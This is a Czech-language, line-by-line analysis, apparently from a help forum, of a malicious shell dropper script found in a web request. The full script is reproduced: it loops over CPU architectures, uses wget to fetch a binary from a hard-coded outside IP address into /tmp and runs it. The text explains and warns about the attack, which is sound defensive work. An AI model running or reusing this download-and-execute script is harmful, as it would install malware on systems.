Řádek po řádku:
#!/bin/sh
Nastaví sh
shell, podle toho, co to je, jako linie shebang. sh%20/tmp/ks
v požadavku toto přepíše, takže tento řádek je považován za normální komentář a ignorován.
u="asgknskjdgn"
Deklaruje libovolný název, pravděpodobně proto, aby nedošlo ke kolizi s jinými názvy souborů. Nejsem si jistý, proč by prostě nepoužili mktemp
, ale možná to není dostupné na všech platformách.
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
Vyjmenovává několik běžných architektur CPU.
http_server="80.211.173.159"
http_port=80
Server, který má exploit.
cd /tmp/||cd /var/
Pokusí se změnit adresář na místo, kde bude pravděpodobně váš webový server schopen vytvářet soubory. Věřím, že SELinux s tím pomůže tím, že prosadí mnohem přísnější pravidla o tom, co může webový server dělat, než souborový systém sám o sobě.
for name in $bin_names
do
Pro každou architekturu CPU…
rm -rf $u
Odstraní dříve vyzkoušené exploit programy. Zbytečné kvůli dalšímu řádku, takže může být ignorováno.
cp $SHELL $u
Zkopíruje aktuální spustitelný soubor shellu (/bin/sh
). Může být ignorováno kvůli řádku za dalším.
chmod 777 $u
Umožňuje všem mít plný přístup k novému souboru. Mělo to být za wget
příkaz, který je buď známkou začátečníka ve skriptování shellu, nebo techniky nesprávného nasměrování.
>$u
Vyprázdní soubor. Bezpředmětné kvůli dalšímu řádku.
wget http://$http_server:$http_port/$name -O -> $u
Přepíše soubor exploitovým skriptem pro tuto architekturu. -O -> $u
mohl být napsán -O - > $u
(pomlčka znamená, že stahování by mělo být zapsáno na standardní výstup), což je ekvivalentní -O $u
.
./$u $name
Spustí exploit skript s architekturou jako prvním argumentem.
done
Ukončí smyčku.
Vypadá to, že se jedná o triviální skript pokusu o zneužití, který zkouší známé exploity proti různým platformám CPU. Nevím, proč to přepisuje $u
třikrát, ale tyto operace mohou být jednoduše pozůstatky z dřívější iterace skriptu. Předpokládá se, že dřívější verze měla exploity pevně zakódované, spíše než dynamicky servírované - první verze je jednodušší, ale téměř zaručuje, že skript bude časem méně efektivní, protože budou opravovány chyby.
wget
je klíčová nebezpečná linie.
for name in $bin_names
pracuje se seznamem platforem a pro každou platformu vyčistí dočasný adresář, zkopíruje shell a poté jej zpřístupní všem.
Poté stáhne soubor pomocí wget
a pak jej spustí pomocí programu shellu, který právě zkopíroval.
Skript se v podstatě pokouší stáhnout řadu spustitelných souborů nebo skriptů pro každou platformu, kterou může, a otírá je o váš systém v naději, že to může dále kompromitovat váš systém.